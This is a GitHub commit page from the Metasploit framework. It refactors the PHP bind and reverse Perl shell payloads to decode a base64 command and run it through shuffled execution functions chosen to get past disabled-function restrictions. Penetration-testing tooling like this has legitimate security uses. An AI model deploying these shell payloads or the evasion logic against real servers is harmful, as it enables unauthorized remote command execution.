Skip to content

Commit

Permalink
Merge pull request #19466 from jvoisin/singles_php
Browse files Browse the repository at this point in the history
Use php_preamble/php_system_block instead of `system` in payloads/singles/php/
  • Loading branch information
jheysel-r7 authored Sep 27, 2024
2 parents 55943e7 + 4f846ee commit 94c1939
Show file tree
Hide file tree
Showing 5 changed files with 31 additions and 12 deletions.
2 changes: 1 addition & 1 deletion lib/msf/core/payload/php.rb
Original file line number Diff line number Diff line change
Expand Up @@ -134,7 +134,7 @@ def php_system_block(options = {})
}
"

exec_methods = [passthru, shell_exec, system, exec, proc_open, popen];
exec_methods = [passthru, shell_exec, system, exec, proc_open, popen]
exec_methods = exec_methods.shuffle
buf = setup + exec_methods.join("") + fail_block

Expand Down
12 changes: 10 additions & 2 deletions modules/payloads/singles/php/bind_perl.rb
Original file line number Diff line number Diff line change
Expand Up @@ -6,10 +6,11 @@

module MetasploitModule

CachedSize = 230
CachedSize = :dynamic

include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
include Msf::Payload::Php

def initialize(info = {})
super(merge_info(info,
Expand All @@ -34,7 +35,14 @@ def initialize(info = {})
# Constructs the payload
#
def generate(_opts = {})
return super + "system(base64_decode('#{Rex::Text.encode_base64(command_string)}'));"
vars = Rex::RandomIdentifier::Generator.new
dis = "$#{vars[:dis]}"
shell = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$c = base64_decode("#{Rex::Text.encode_base64(command_string)}");
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
END_OF_PHP_CODE
return super + shell
end

#
Expand Down
12 changes: 10 additions & 2 deletions modules/payloads/singles/php/bind_perl_ipv6.rb
Original file line number Diff line number Diff line change
Expand Up @@ -6,10 +6,11 @@

module MetasploitModule

CachedSize = 230
CachedSize = :dynamic

include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
include Msf::Payload::Php

def initialize(info = {})
super(merge_info(info,
Expand All @@ -34,7 +35,14 @@ def initialize(info = {})
# Constructs the payload
#
def generate(_opts = {})
return super + "system(base64_decode('#{Rex::Text.encode_base64(command_string)}'));"
vars = Rex::RandomIdentifier::Generator.new
dis = "$#{vars[:dis]}"
shell = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$c = base64_decode("#{Rex::Text.encode_base64(command_string)}");
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
END_OF_PHP_CODE
return super + shell
end

#
Expand Down
13 changes: 8 additions & 5 deletions modules/payloads/singles/php/reverse_perl.rb
Original file line number Diff line number Diff line change
Expand Up @@ -35,11 +35,14 @@ def initialize(info = {})
# Constructs the payload
#
def generate(_opts = {})
buf = "#{php_preamble}"
buf += "$c = base64_decode('#{Rex::Text.encode_base64(command_string)}');"
buf += "#{php_system_block({:cmd_varname=>"$c"})}"
return super + buf

vars = Rex::RandomIdentifier::Generator.new
dis = "$#{vars[:dis]}"
shell = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$c = base64_decode("#{Rex::Text.encode_base64(command_string)}");
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
END_OF_PHP_CODE
return super + shell
end

#
Expand Down
4 changes: 2 additions & 2 deletions spec/modules/payloads_spec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -2692,7 +2692,7 @@
ancestor_reference_names: [
'singles/php/bind_perl'
],
dynamic_size: false,
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'php/bind_perl'
end
Expand All @@ -2702,7 +2702,7 @@
ancestor_reference_names: [
'singles/php/bind_perl_ipv6'
],
dynamic_size: false,
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'php/bind_perl_ipv6'
end
Expand Down

0 comments on commit 94c1939

Please sign in to comment.